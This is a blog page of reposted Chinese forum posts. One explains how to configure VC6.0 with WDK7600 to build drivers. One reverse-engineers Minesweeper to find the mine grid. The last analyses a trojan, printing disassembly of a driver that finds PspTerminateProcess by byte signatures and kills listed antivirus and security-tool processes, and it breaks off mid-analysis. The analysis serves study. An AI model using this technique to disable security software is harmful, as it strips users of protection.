2011年9月30日星期五

[轉載]最新驅動WDK7600在VC6.0下的編譯開發配置環境


作者:wingdbg
網上找了很多資料,都不好使。相信有很多像我一樣偏好VC6.0的傢伙,最新的WDK真的用不了麼?必須可以! ! !

    開始之前要一定要明確一件事情,單獨使用WDK+記事本就可以開發驅動,和VC的編譯器耗無關係,而使用VC的唯一目的,就是把它當作超級記事本,這樣可以省去自己維護Makefile的麻煩,並且擁有IDE的其他各種便捷。


1.安裝好VC6和DWK,先後順序無關。
    從開始菜單找到WDK的程序目錄,進入“Windows XP Checked Build Environment”,輸入命令"build",此時WDK將會把自己進行編譯,大約需要1分鐘。

2.VC6設置Include/Lib/Executable目錄。
    設置為自己需要編譯的平台的各個目錄即可, Include要確保找到ntddk.h等,Lib與Include對應,Executable 要確保能找到cl.exe
例如XP平台下設置為:

include包含部分:

C:\WinDDK\7600.16385.1\inc\ddk
C:\WinDDK\7600.16385.1\inc\api
C:\WinDDK\7600.16385.1\inc\crt


lib連接庫包含部分:

C:\WINDDK\7600.16385.1\LIB\WXP\I386
C:\WINDDK\7600.16385.1\LIB\WIN7\I386


執行文件包含:

C:\WINDDK\7600.16385.1\BIN
C:\WINDDK\7600.16385.1\BIN\X86
C:\WinDDK\7600.16385.1\bin\x86\x86

對於VC原有的路徑,Include 和Lib建議都刪除掉,而Executable則將你新加的置頂,順序不能錯。其余建議保留(雖然編譯驅動不會使用VC的Bin目錄下的ml.exe、link.exe 等,但vc的代碼提示等功能是需要bin目錄下的一些程序來完成的,因此還是至少要保留VC原有的Bin目錄,但必須在DDK的之後)。

3.建立一個空工程,Exe或者Dll都可以,然後直接修改工程屬性:

要改的地方不少,描述各個選項還不如直接記錄個文本的,清空C/C++和Link下面的Option文本框,按下面的填寫。

C/C++ 選項填寫:
/nologo /Gz /MLd /W3 /WX /Z7 /Od /D WIN32=100 /D _X86_=1 /D WINVER=0x500 /D DBG=1 /Fo"MyDriver_Check/" /Fd"MyDriver_Check/" /FD /c

LINK 選項填寫:
    NT式驅動為
ntoskrnl.lib /nologo /base:"0x10000" /stack:0x400000,0x1000 /entry:"DriverEntry" /subsystem:console /incremental:no /pdb:"MyDriver_Check/HelloDDK.pdb" /map:"MyDriver_Check/HelloDDK.map " /debug /machine:I386 /nodefaultlib /out:"MyDriver_Check/HelloDDK.sys" /subsystem:native /driver /SECTION:INIT,D /RELEASE /IGNORE:4078

    WDM式驅動為

wdm.lib /nologo /base:"0x10000" /stack:0x400000,0x1000 /entry:"DriverEntry" /subsystem:console /incremental:no /pdb:"SYS_Check/HelloWDM.pdb" /debug /machine:I386 /nodefaultlib / out:"SYS_Check/HelloWDM.sys" /subsystem:native /driver /SECTION:INIT,D /RELEASE /IGNORE:4078

4.保存配置,現在給這個空工程建一個c文件,複製以下內容:

#include <ntddk.h>
NTSTATUS DriverEntry(
        IN PDRIVER_OBJECT DriverObject,
        IN PUNICODE_STRING RegistryPath
        )
{
        NTSTATUS status = STATUS_UNSUCCESSFUL;
        return status;
}

編譯通過則配置成功! ! !

2011年9月29日星期四

[轉載]用IDA Pro + OD 來分析掃雷


作者:fatalucard

【聲明】小弟菜鳥一隻,潛水多年,酷愛遊戲,更愛逆向,喜歡修改遊戲。壇子里關於掃雷的文章已經很多了,各位前輩都已經分析透徹了。小弟發此文,只是給和我一樣的初級逆向愛好者提供一些思路,看看如何分析一個遊戲,做出修改器,甚至是修改遊戲規則。有不對的地方,各位前輩請指教,多謝。

工具:IDA Pro, OllyDbg, exeScope或者resource hacker

首先,我們知道,對於VC 寫的windows編程來說,一般都是創建窗體,註冊窗體,顯示窗體,更新窗體,再來一個消息處理函數。我們先用IDA Pro來看看,至於為什麼要用IDA,是因為我覺得IDA在某些方面比OD方便,比如函數名,變量名替換之類的,和OD配合使用,效果很好。

打開IDA Pro,自動進入EP,一開始肯定是一些加載器的初始化過程,沒有必要仔細看,一路向下走。

.text:01003E21 public start
.text:01003E21 start proc near
.text:01003E21 push 70h
.text:01003E23 push offset dword_1001390
.text:01003E28 call sub_100400C
.text:01003E2D xor ebx, ebx
.text:01003E2F push ebx ; lpModuleName
.text:01003E30 mov edi, ds:GetModuleHandleA
.text:01003E36 call edi ; GetModuleHandleA
.text:01003E38 cmp word ptr [eax], 5A4Dh ; MZ
.text:01003E3D jnz short loc_1003E5E
.text:01003E3F mov ecx, [eax+3Ch]
.text:01003E42 add ecx, eax
.text:01003E44 cmp dword ptr [ecx], 4550h
.text:01003E4A jnz short loc_1003E5E
.text:01003E4C movzx eax, word ptr [ecx+18h]
.text:01003E50 cmp eax, 10Bh
.text:01003E55 jz short loc_1003E76
.text:01003E57 cmp eax, 20Bh
.text:01003E5C jz short loc_1003E63

當到達這裡的時候:

text:01003F89 loc_1003F89: ; CODE XREF: start+158?j
.text:01003F89 push eax ; hAccTable
.text:01003F8A push esi ; int
.text:01003F8B push ebx ; int
.text:01003F8C push ebx ; lpModuleName
.text:01003F8D call edi ; GetModuleHandleA
.text:01003F8F push eax ; int
.text:01003F90 call sub_10021F0 ;這是咱們的Main函數。
.text:01003F95 mov esi, eax
.text:01003F97 mov [ebp-7Ch], esi
.text:01003F9A cmp [ebp-1Ch], ebx
.text:01003F9D jnz short loc_1003FA6
.text:01003F9F push esi ; int
.text:01003FA0 call ds:exit

我們就發現了main函數,10021F0,為什麼是這個?你看這個函數執行完了,程序就退出了啊。我們可以用IDA給它改名字,叫做Main。不廢話,進入main函數看看。

看! IDA多智能,告訴我們了參數和臨時變量,有WndClass和MSG,大家是不是眼前一亮。

.text:010021F0 Main proc near ; CODE XREF: start+16F?p
.text:010021F0
.text:010021F0 WndClass = WNDCLASSW ptr -4Ch
.text:010021F0 Msg = MSG ptr -24h
.text:010021F0 var_8 = tagINITCOMMONCONTROLSEX ptr -8
.text:010021F0 arg_0 = dword ptr 8
.text:010021F0 hAccTable = dword ptr 14h
.text:010021F0
.text:010021F0 push ebp
.text:010021F1 mov ebp, esp
.text:010021F3 sub esp, 4Ch
.text:010021F6 mov eax, [ebp+arg_0]
.text:010021F9 push ebx

繼續走,往下幾行就到這裡了:

text:0100225A mov [ebp+WndClass.style], edi
.text:0100225D mov [ebp+WndClass.lpfnWndProc], offset WndProccess ;就是她!
.text:01002264 mov [ebp+WndClass.cbClsExtra], edi
.text:01002267 mov [ebp+WndClass.cbWndExtra], edi
.text:0100226A mov [ebp+WndClass.hInstance], ecx
.text:0100226D mov [ebp+WndClass.hIcon], eax
.text:01002270 call ds:LoadCursorW
.text:01002276 push ebx ; int
.text:01002277 mov [ebp+WndClass.hCursor], eax
.text:0100227A call ds:GetStockObject
.text:01002280 mov [ebp+WndClass.hbrBackground], eax
.text:01002283 lea eax, [ebp+WndClass]
.text:01002286 mov esi, offset AppName
.text:0100228B push eax ; lpWndClass
.text:0100228C mov [ebp+WndClass.lpszMenuName], edi
.text:0100228F mov [ebp+WndClass.lpszClassName], esi
.text:01002292 call ds:RegisterClassW

RegisterClassW,哈哈,我們這下子就知道消息處理函數了。先繼續往下走,過一會兒我們看看這個消息處理函數。

.text:010022E1 push edi ; lpParam
.text:010022E2 push hInstance ; hInstance
.text:010022E8 add ecx, eax
.text:010022EA push edi ; hMenu
.text:010022EB push edi ; hWndParent
.text:010022EC push ecx ; nHeight
.text:010022ED mov ecx, dword_1005A90
.text:010022F3 add edx, ecx
.text:010022F5 push edx ; nWidth
.text:010022F6 mov edx, Y
.text:010022FC sub edx, eax
.text:010022FE mov eax, X
.text:01002303 push edx ; Y
.text:01002304 sub eax, ecx
.text:01002306 push eax ; X
.text:01002307 push 0CA0000h ; dwStyle
.text:0100230C push esi ; lpWindowName
.text:0100230D push esi ; lpClassName
.text:0100230E push edi ; dwExStyle
.text:0100230F call ds:CreateWindowExW
.text:01002315 cmp eax, edi
.text:01002317 mov hWnd, eax
.text:0100231C jnz short loc_1002325
.text:0100231E push 3E8h
.text:01002323 jmp short loc_1002336

嗯,創建窗體了。接著走,看返回的EAX不為空的話就跳。跳到這裡:

text:01002325 loc_1002325: ; CODE XREF: Main+12C?j
.text:01002325 push ebx
.text:01002326 call sub_1001950
.text:0100232B call sub_1002B14
.text:01002330 test eax, eax
.text:01002332 jnz short loc_1002342
.text:01002334 push 5
.....
.....
.text:01002342 loc_1002342: ; CODE XREF: Main+142?j
.text:01002342 push dword_10056C4
.text:01002348 call sub_1003CE5
.text:0100234D call sub_100367A
.text:01002352 push ebx ; nCmdShow
.text:01002353 push hWnd ; hWnd
.text:01002359 call ds:ShowWindow
.text:0100235F push hWnd ; hWnd
.text:01002365 call ds:UpdateWindow
.text:0100236B mov esi, ds:GetMessageW
.text:01002371 mov dword_1005B38, edi
.text:01002377 jmp short loc_10023A4


發現4個函數,我們要進去看看,因為憑咱們玩掃雷的經驗來看,雷的產生是在窗體繪製之前就做好了,也就是showWindow之前,會有函數來布雷,所以,這四個函數,sub_1001950, sub_1002B14, sub_1003CE5,sub_100367A應該有一個或者多個來處理布雷。一個一個看看。

先看sub_1001950,函數太長,就不都貼了,貼一部分:
....
....
.text:01001978 mov edi, ds:GetMenuItemRect
.text:0100197E mov dword_1005B88, eax
.text:01001983 jnz short loc_10019DB
.text:01001985 mov edx, dword_1005B34
.text:0100198B add edx, eax
.text:0100198D mov eax, hMenu
.text:01001992 cmp eax, ebp
.text:01001994 mov dword_1005B88, edx
.text:0100199A jz short loc_10019DB
.text:0100199C lea edx, [esp+40h+rcItem]
.text:010019A0 push edx ; lprcItem
.text:010019A1 push ebp ; uItem
.text:010019A2 push eax ; hMenu
.text:010019A3 push ecx ; hWnd
.text:010019A4 call edi ; GetMenuItemRect
.text:010019A6 test eax, eax
.text:010019A8 jz short loc_10019DB
.text:010019AA lea eax, [esp+40h+var_20]
.text:010019AE push eax ; lprcItem
.text:010019AF push ebx ; uItem
.text:010019B0 push hMenu ; hMenu
.text:010019B6 push hWnd ; hWnd
.text:010019BC call edi ; GetMenuItemRect
....
....

從函數上看,是處理菜單那一塊的東西,(如果錯了,請各位指正,我當時一看函數不像,就沒仔細看)。這個函數不像,那就下一個sub_1002B14:

.text:01002B14 sub_1002B14 proc near ; CODE XREF: Main+13B?p
.text:01002B14 call sub_1002414
.text:01002B19 test eax, eax
.text:01002B1B jnz short loc_1002B1E
.text:01002B1D retn

她居然call了另外一個函數,sub_1002414。進入sub_1002414看了就知道,是處理resource的,就不貼了,很明顯的。
下一個函數,sub_1003CE5:

.text:01003CE5 arg_0 = dword ptr 4
.text:01003CE5
.text:01003CE5 mov eax, [esp+arg_0]
.text:01003CE9 mov dword_10056C4, eax
.text:01003CEE call sub_1001516
.text:01003CF3 mov eax, dword_10056C4
.text:01003CF8 and al, 1
.text:01003CFA neg al
.text:01003CFC sbb eax, eax
.text:01003CFE not eax
.text:01003D00 and eax, hMenu
.text:01003D06 push eax ; hMenu
.text:01003D07 push hWnd ; hWnd
.text:01003D0D call ds:SetMenu ; Assign a new menu to the specified window
.text:01003D13 push 2
.text:01003D15 call sub_1001950
.text:01003D1A retn 4

注意到一個SetMenu,應該是設置菜單的,其中,call了一個函數sub_1001516。不放心的話,就進去看看。

sub_1001516:
.text:01001516 sub_1001516 proc near ; CODE XREF: sub_1001B49+24?p
.text:01001516 ; sub_1003CE5+9?p
.text:01001516 xor eax, eax
.text:01001518 cmp word ptr dword_10056A0, ax
.text:0100151F setz al
.text:01001522 push eax
.text:01001523 push 209h ;521
.text:01001528 call sub_1003CC4
.text:0100152D xor eax, eax
.text:0100152F cmp word ptr dword_10056A0, 1
.text:01001537 setz al
.text:0100153A push eax
.text:0100153B push 20Ah ;522
.text:01001540 call sub_1003CC4
.text:01001545 xor eax, eax
.text:01001547 cmp word ptr dword_10056A0, 2
.text:0100154F setz al
.text:01001552 push eax
.text:01001553 push 20Bh ;523
.text:01001558 call sub_1003CC4
.text:0100155D xor eax, eax
.text:0100155F cmp word ptr dword_10056A0, 3
.text:01001567 setz al
.text:0100156A push eax
.text:0100156B push 20Ch ;524
.text:01001570 call sub_1003CC4
.text:01001575 push dword_10056C8
.text:0100157B push 211h ;529
.text:01001580 call sub_1003CC4
.text:01001585 push Data
.text:0100158B push 20Fh ;527
.text:01001590 call sub_1003CC4
.text:01001595 push dword_10056B8
.text:0100159B push 20Eh ;526
.text:010015A0 call sub_1003CC4
.text:010015A5 retn
.text:010015A5 sub_1001516 endp

發現每次都是壓入一個數,然後call sub_1003CC4。因為她的父函數是處理菜單的,因此,我們懷疑壓入的數是控件ID,用reource hacker看看。
果不其然:

500 MENU
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
{
POPUP "&Game"
{
  MENUITEM "&New\tF2", 510
  MENUITEM SEPARATOR
  MENUITEM "&Beginner", 521
  MENUITEM "&Intermediate", 522
  MENUITEM "&Expert", 523
  MENUITEM "&Custom...", 524
  MENUITEM SEPARATOR
  MENUITEM "&Marks (?)", 527
  MENUITEM "Co&lor", 529
  MENUITEM "&Sound", 526
  MENUITEM SEPARATOR
  MENUITEM "Best &Times...", 528
  MENUITEM SEPARATOR
  MENUITEM "E&xit", 512
}
POPUP "&Help"
{
  MENUITEM "&Contents\tF1", 590
  MENUITEM "&Search for Help on...", 591
  MENUITEM "Using &Help", 592
  MENUITEM SEPARATOR
  MENUITEM "&About Minesweeper...", 593
}
}

是處理用戶選的是初級,中級,高級之類的。所以,sub_1003CE5也不是。就剩下sub_100367A了:
sub_100367A函數很長,慢慢分析吧:

.text:0100367A sub_100367A proc near ; CODE XREF: sub_100140C+CA?p
.text:0100367A ; sub_1001B49+33?j ...
.text:0100367A mov eax, dword_10056AC
.text:0100367F mov ecx, uValue
.text:01003685 push ebx
.text:01003686 push esi
.text:01003687 push edi
.text:01003688 xor edi, edi
.text:0100368A cmp eax, dword_1005334
.text:01003690 mov dword_1005164, edi
.text:01003696 jnz short loc_10036A4
.text:01003698 cmp ecx, dword_1005338
.text:0100369E jnz short loc_10036A4
.text:010036A0 push 4
.text:010036A2 jmp short loc_10036A6

發現最終會進入loc_10036A6,走著:

.text:010036A6 loc_10036A6: ; CODE XREF: sub_100367A+28?j
.text:010036A6 pop ebx
.text:010036A7 mov dword_1005334, eax
.text:010036AC mov dword_1005338, ecx
.text:010036B2 call sub_1002ED5
.text:010036B7 mov eax, dword_10056A4
.text:010036BC mov dword_1005160, edi
.text:010036C2 mov dword_1005330, eax
.text:010036C7
.text:010036C7 loc_10036C7: ; CODE XREF: sub_100367A+74?j
.text:010036C7 ; sub_100367A+89?j
.text:010036C7 push dword_1005334
.text:010036CD call RandomReminder
.text:010036D2 push dword_1005338
.text:010036D8 mov esi, eax
.text:010036DA inc esi
.text:010036DB call RandomReminder
.text:010036E0 inc eax
.text:010036E1 mov ecx, eax
.text:010036E3 shl ecx, 5
.text:010036E6 test byte ptr dword_1005340[ecx+esi], 80h
.text:010036EE jnz short loc_10036C7
.text:010036F0 shl eax, 5
.text:010036F3 lea eax, dword_1005340[eax+esi]
.text:010036FA or byte ptr [eax], 80h
.text:010036FD dec dword_1005330
.text:01003703 jnz short loc_10036C7
.text:01003705 mov ecx, dword_1005338
.text:0100370B imul ecx, dword_1005334
.text:01003712 mov eax, dword_10056A4
.text:01003717 sub ecx, eax
.text:01003719 push edi
.text:0100371A mov dword_100579C, edi
.text:01003720 mov dword_1005330, eax
.text:01003725 mov dword_1005194, eax
.text:0100372A mov dword_10057A4, edi
.text:01003730 mov dword_10057A0, ecx
.text:01003736 mov dword_1005000, 1
.text:01003740 call sub_100346A
.text:01003745 push ebx
.text:01003746 call sub_1001950
.text:0100374B pop edi
.text:0100374C pop esi
.text:0100374D pop ebx
.text:0100374E retn
.text:0100374E sub_100367A endp

在這一段中,我們發現了Rand()函數,就在01003940,我已經將她改名成了RandomReminder。進入發現就是隨機產生一個數,然後除以參數,返回餘數,這個應該就是隨機布雷,而且發現調用2次,很容易想到是分別產生X和Y坐標的。兩次調用的參數分別放在dword_1005334和dword_1005338中,懷疑是雷區的大小,進入OD,選擇不同難度,然後斷此函數看看參數,發現,果不其然,就是雷區大​​小。可以給dword_1005334和dword_1005338改名了,以後在遇到這兩個參數就好識別了。接著走,發現這段話:

.text:010036E6 test byte ptr dword_1005340[ecx+esi], 80h
.text:010036EE jnz short loc_10036C7
.text:010036F0 shl eax, 5
.text:010036F3 lea eax, dword_1005340[eax+esi]
.text:010036FA or byte ptr [eax], 80h

哈哈,dword_1005340[ecx+esi],雷區地址。是這個樣子的,dword_1005340[Y*32 + X]; dword_1005330很明顯是雷數。

OK,到這裡就找到雷區了,比較麻煩,還是各位前輩的直接下斷Rand()簡單,但是我比較笨笨,一開始怕萬一不是用Rand()怎麼辦呢,於是就自己分析看看。先寫到這裡,下次主要靠OD分析按鈕事件。謝謝。
原文:http://bbs.pediy.com/showthread.php?t=138855

2011年9月28日星期三

[轉載]分析個性感小馬


作 者: Hacksign 
時 間: 2011-08-02,12:04:51
鏈接: http://bbs.pediy.com/showthread.php?t=138107

昨天發了一篇被判定為YJ貼了。 。 ,希望這篇不會。 。 。
馬比較簡單,適合新手。
先說一下行為:exe文件會釋放Pcix32.sys amd32_.sys atax32.sys三個文件,但是後兩個其實只是地一個的拷貝。 sys文件負責監控各種殺毒軟件和安全工具的啟動,一旦發現,馬上kill。
1。 exe行為。
這裡只寫思路,詳細請參考idb文件和自己跟,嘎嘎。
首先獲取系統drivers目錄,然後釋放Pcix32.sys到這個目錄下,期間拷貝各種副本。
還有,exe會檢測是否有還原精靈,有的話會做相應處理,不過本人太懶。 。懶得搭環境,這部分有興趣的跟一下吧:)
如果沒有還原精靈的話,就加載驅動。
最後有一個注入的行為,也沒仔細跟:D
2。 sys
這個是感興趣的,貼代碼:

代碼:
.text:00010B34 lea eax, [ebp+SystemInformation]
.text:00010B37 push eax ; ReturnLength
.text:00010B38 push 0 ; SystemInformationLength
.text:00010B3A push eax ; SystemInformation
.text:00010B3B push 0Bh ; SystemInformationClass
.text:00010B3D mov edi, ds:__imp_ZwQuerySystemInformation
.text:00010B43 call edi ; __imp_ZwQuerySystemInformation
.text:00010B45 push [ebp+SystemInformation] ; NumberOfBytes
.text:00010B48 push 1 ; PoolType
.text:00010B4A call ds:ExAllocatePool
獲得系統各種信息。 。 。

代碼:
text:00010B5A push 0 ; ReturnLength
.text:00010B5C push [ebp+SystemInformation] ; SystemInformationLength
.text:00010B5F push esi ; SystemInformation
.text:00010B60 push 0Bh ; SystemInformationClass
.text:00010B62 call edi ; __imp_ZwQuerySystemInformation
.text:00010B64 test eax, eax
.text:00010B66 jl short loc_10BDE
.text:00010B68 mov ebx, [esi+0Ch]
.text:00010B6B mov edi, [esi+10h]
.text:00010B6E add edi, ebx
.text:00010B70 push 0 ; Tag
.text:00010B72 push esi ; P
.text:00010B73 call ds:ExFreePoolWithTag
.text:00010B79 mov esi, ebx
.text:00010B7B
.text:00010B7B loc_10B7B: ; CODE XREF: sub_10B28+BF?j
.text:00010B7B cmp esi, edi
.text:00010B7D ja short loc_10BDE
.text:00010B7F push esi ; VirtualAddress
.text:00010B80 call ds:MmIsAddressValid
.text:00010B86 test al, al
.text:00010B88 jz short loc_10BE6
.text:00010B8A lea ebx, [esi+4]
.text:00010B8D push ebx ; VirtualAddress
.text:00010B8E call ds:MmIsAddressValid;測試地址是否可用,防止BSOD。 。 。
.text:00010B94 test al, al
.text:00010B96 jz short loc_10BE6
.text:00010B98 mov eax, 8B55FF8Bh:google一下這個值吧,發現是PspTerminateProcess
.text:00010B9D cmp [esi], eax
.text:00010B9F jnz short loc_10BE6
.text:00010BA1 mov eax, 0CEC83ECh
.text:00010BA6 cmp [ebx], eax
.text:00010BA8 jnz short loc_10BE6
.text:00010BAA mov eax, 0FFF84D83h
.text:00010BAF cmp [esi+8], eax
.text:00010BB2 jnz short loc_10BE6
.text:00010BB4 mov eax, 7D8B5756h
.text:00010BB9 cmp [esi+0Ch], eax
.text:00010BBC jnz short loc_10BE6
.text:00010BBE and [ebp+ms_exc.disabled], 0
.text:00010BC2 mov [ebp+var_20], esi
.text:00010BC5 mov [ebp+ms_exc.disabled], 0FFFFFFFEh
.text:00010BCC mov eax, esi;保存函數地址
作者考慮的還挺周全。 。 。如果木有找到這個函數:

代碼:
.text:00010A40 call _GetPspTerminateProcessAddress
.text:00010A45 mov PspTerminateProcess, eax
.text:00010A4A test eax, eax
.text:00010A4C jnz short loc_10A8F
.text:00010A4E call sub_10568
就去找PsTerminateProcess這個東東:

代碼:
sub_10568 proc near ; CODE XREF: sub_10A30+1E?p
.text:00010568 push offset aPsterminatesys ; "PsTerminateSystemThread"
.text:0001056D push sysInfo
.text:00010573 call sub_10486
.text:00010578 xor ecx, ecx
.text:0001057A
.text:0001057A loc_1057A: ; CODE XREF: sub_10568+28?j
.text:0001057A cmp byte ptr [eax], 0FFh;0xFF7508,即psterminateprocess
.text:0001057D jnz short loc_1058B
.text:0001057F cmp byte ptr [eax+1], 75h
.text:00010583 jnz short loc_1058B
.text:00010585 cmp byte ptr [eax+2], 8
.text:00010589 jz short loc_10595
。 。 。 。
.text:00010595 loc_10595: ; CODE XREF: sub_10568+21?j
.text:00010595 add eax, 5
.text:00010598 mov ecx, [eax]
.text:0001059A lea eax, [ecx+eax+4]
.text:0001059E retn
期間還有兩個函數,時間倉促,沒細看,就不說了。 。 。 。
下面是find and kill函數,負責幹壞事的元兇:

代碼:
.text:00010CEC mov edi, edi
.text:00010CEE push ebp
.text:00010CEF mov ebp, esp
.text:00010CF1 sub esp, 6A4h
.text:00010CF7 and [ebp+var_C], 0
.text:00010CFB push ebx
.text:00010CFC push esi
.text:00010CFD push edi
.text:00010CFE mov esi, 0FFFFh
.text:00010D03 push esi ; NumberOfBytes
.text:00010D04 mov ebx, offset aKvmonxp_exe ; "KVMonXp.exe"
.text:00010D09 push 1 ; PoolType
.text:00010D0B mov [ebp+SourceString], offset aNod32krn_exe ; "nod32krn.exe"
.text:00010D15 mov [ebp+var_C0], offset aEgui_exe ; "egui.exe"
.text:00010D1F mov [ebp+var_BC], offset aEkrn_exe ; "ekrn.exe"
.text:00010D29 mov [ebp+var_B8], offset a360tray_exe ; "360tray.exe"
.text:00010D33 mov [ebp+var_B4], offset a360safe_exe ; "360Safe.exe"
.text:00010D3D mov [ebp+var_B0], offset aSafeboxtray_ex ; "safeboxTray.exe"
.text:00010D47 mov [ebp+var_AC], offset a360safebox_exe ; "360safebox.exe"
.text:00010D51 mov [ebp+var_A8], offset a360sd_exe ; "360sd.exe"
.text:00010D5B mov [ebp+var_A4], offset aZhudongfangyu_ ; "ZhuDongFangYu.exe"
.text:00010D65 mov [ebp+var_A0], offset a360rp_exe ; "360rp.exe"
.text:00010D6F mov [ebp+var_9C], offset a360sdupd_exe ; "360sdupd.exe"
.text:00010D79 mov [ebp+var_98], offset a360rps_exe ; "360rps.exe"
.text:00010D83 mov [ebp+var_94], offset a3_0 ; "3"
.text:00010D8D mov [ebp+var_90], offset aO ; "O"
.text:00010D97 mov [ebp+var_8C], offset asc_11BDE ; "L"
.text:00010DA1 mov [ebp+var_88], offset aK_8 ; "K"
.text:00010DAB mov [ebp+var_84], offset aK_7 ; "k"
.text:00010DB5 mov [ebp+var_80], offset aK_6 ; "k"
.text:00010DBC mov [ebp+var_7C], offset aK_5 ; "k"
.text:00010DC3 mov [ebp+var_78], offset aK_4 ; "k"
.text:00010DCA mov [ebp+var_74], offset aU ; "u"
.text:00010DD1 mov [ebp+var_70], offset aKxescore_exe ; "kxescore.exe"
.text:00010DD8 mov [ebp+var_6C], offset aKxetray_exe ; "kxetray.exe"
.text:00010DDF mov [ebp+var_68], offset aK_3 ; "K"
.text:00010DE6 mov [ebp+var_64], offset aK ; "K"
.text:00010DED mov [ebp+var_60], offset aGuiyingfix_exe ; "guiyingfix.exe"
.text:00010DF4 mov [ebp+var_5C], offset aRavmond_exe ; "RavMonD.exe"
.text:00010DFB mov [ebp+var_58], offset aR_3 ; "R"
.text:00010E02 mov [ebp+var_54], offset aR ; "R"
.text:00010E09 mov [ebp+var_50], offset aRegguide_exe ; "RegGuide.exe"
.text:00010E10 mov [ebp+var_4C], offset aR_0 ; "R"
.text:00010E17 mov [ebp+var_48], offset aRscopy_exe ; "RsCopy.exe"
.text:00010E1E mov [ebp+var_44], offset aRav_exe ; "Rav.exe"
.text:00010E25 mov [ebp+var_40], offset aKvsrvxp_exe ; "KVSrvXP.exe"
.text:00010E2C mov [ebp+var_3C], offset word_119F2
.text:00010E33 mov [ebp+var_38], ebx
.text:00010E36 mov [ebp+var_34], offset aA ; "a"
.text:00010E3D mov [ebp+var_30], offset aIcesword_exe ; "IceSword.exe"
.text:00010E44 mov [ebp+var_2C], offset aS_0 ; "S"
.text:00010E4B mov [ebp+var_28], offset aR_1 ; "r"
.text:00010E52 mov [ebp+var_24], offset aKnownsvr_exe ; "knownsvr.exe"
.text:00010E59 mov [ebp+var_20], offset aR_2 ; "r"
.text:00010E60 mov [ebp+var_1C], offset aKnsdtray_exe ; "knsdtray.exe"
.text:00010E67 mov [ebp+var_18], offset aK_2 ; "k"
.text:00010E6E mov [ebp+var_14], offset aK_1 ; "k"
.text:00010E75 mov [ebp+var_10], offset aK_0 ; "k"
.text:00010E7C call ds:ExAllocatePool
.text:00010E82 mov edi, eax
.text:00010E84 mov [ebp+P], edi
.text:00010E87 test edi, edi
.text:00010E89 jz loc_10FA5
.text:00010E8F push offset Format ; "enter findprocessandkill\n"
.text:00010E94 call DbgPrint
.text:00010E99 pop ecx
.text:00010E9A lea eax, [ebp+ReturnLength]
.text:00010E9D push eax ; ReturnLength
.text:00010E9E push esi ; SystemInformationLength
.text:00010E9F push edi ; SystemInformation
.text:00010EA0 push 5 ; SystemInformationClass
.text:00010EA2 call ds:__imp_ZwQuerySystemInformation
.text:00010EA8 mov esi, edi
.text:00010EAA
.text:00010EAA loc_10EAA: ; CODE XREF: _FindAddKillProcess+2A8?j
.text:00010EAA add esi, [esi]
.text:00010EAC xor eax, eax
.text:00010EAE lea edi, [esi+38h]
.text:00010EB1 cmp [edi], ax
.text:00010EB4 jz loc_10F91
.text:00010EBA mov [ebp+ReturnLength], eax
.text:00010EBD
.text:00010EBD loc_10EBD: ; CODE XREF: _FindAddKillProcess+29F?j
.text:00010EBD push [ebp+eax*4+SourceString] ; SourceString
.text:00010EC4 lea eax, [ebp+eax*8+DestinationString]
.text:00010ECB push eax ; DestinationString
.text:00010ECC call ds:RtlInitUnicodeString
.text:00010ED2 mov eax, [ebp+ReturnLength]
.text:00010ED5 push 1 ; CaseInSensitive
.text:00010ED7 lea eax, [ebp+eax*8+DestinationString]
.text:00010EDE push eax ; String2
.text:00010EDF push edi ; String1
.text:00010EE0 call ds:RtlCompareUnicodeString
.text:00010EE6 test eax, eax
.text:00010EE8 jnz loc_10F7C
.text:00010EEE mov eax, [ebp+ReturnLength]
.text:00010EF1 push offset aKvsrvxp_exe ; "KVSrvXP.exe"
.text:00010EF6 push [ebp+eax*4+SourceString] ; wchar_t *
.text:00010EFD call ds:_wcsicmp
.text:00010F03 pop ecx
.text:00010F04 pop ecx
.text:00010F05 test eax, eax
.text:00010F07 jz short loc_10F75
.text:00010F09 mov eax, [ebp+ReturnLength]
.text:00010F0C push offset word_119F2 ; wchar_t *
.text:00010F11 push [ebp+eax*4+SourceString] ; wchar_t *
.text:00010F18 call ds:_wcsicmp
.text:00010F1E pop ecx
.text:00010F1F pop ecx
.text:00010F20 test eax, eax
.text:00010F22 jz short loc_10F75
.text:00010F24 mov eax, [ebp+ReturnLength]
.text:00010F27 push ebx ; wchar_t *
.text:00010F28 push [ebp+eax*4+SourceString] ; wchar_t *
.text:00010F2F call ds:_wcsicmp
.text:00010F35 pop ecx
.text:00010F36 pop ecx
.text:00010F37 test eax, eax
.text:00010F39 jz short loc_10F75
.text:00010F3B mov eax, [ebp+ReturnLength]
.text:00010F3E push [ebp+eax*4+SourceString]
.text:00010F45 push offset aFindProcesssWs ; "Find Processs: %ws\n"
.text:00010F4A call DbgPrint
.text:00010F4F pop ecx
.text:00010F50 pop ecx
.text:00010F51 push dword ptr [esi+44h] ; PEPROCESS
.text:00010F54 call KillProcess
.text:00010F59 test eax, eax
.text:00010F5B jl short loc_10F7C
.text:00010F5D mov eax, [ebp+ReturnLength]
.text:00010F60 push [ebp+eax*4+SourceString]
.text:00010F67 push offset aKillProcesssWs ; "Kill Processs: %ws OK!\n"
.text:00010F6C call DbgPrint
.text:00010F71 pop ecx
.text:00010F72 pop ecx
.text:00010F73 jmp short loc_10F7C
.text:00010F75 ; --------------------------------------------- ------------------------------
.text:00010F75
.text:00010F75 loc_10F75: ; CODE XREF: _FindAddKillProcess+21B?j
.text:00010F75 ; _FindAddKillProcess+236?j ...
.text:00010F75 mov byte_1212C, 1
.text:00010F7C
.text:00010F7C loc_10F7C: ; CODE XREF: _FindAddKillProcess+1FC?j
.text:00010F7C ; _FindAddKillProcess+26F?j ...
.text:00010F7C mov eax, [ebp+ReturnLength]
.text:00010F7F inc eax
.text:00010F80 cmp [ebp+eax*4+SourceString], 0
.text:00010F88 mov [ebp+ReturnLength], eax
.text:00010F8B jnz loc_10EBD
.text:00010F91
.text:00010F91 loc_10F91: ; CODE XREF: _FindAddKillProcess+1C8?j
.text:00010F91 cmp dword ptr [esi], 0
.text:00010F94 jnz loc_10EAA
.text:00010F9A push 0 ; Tag
.text:00010F9C push [ebp+P] ; P
.text:00010F9F call ds:ExFreePoolWithTag
.text:00010FA5
.text:00010FA5 loc_10FA5: ; CODE XREF: _FindAddKillProcess+19D?j
.text:00010FA5 pop edi
.text:00010FA6 pop esi
.text:00010FA7 pop ebx
.text:00010FA8 leave
.text:00010FA9 retn
循環查找一堆安全工具,發現就kill~
呵呵,看一下怎麼kill的吧:

代碼:
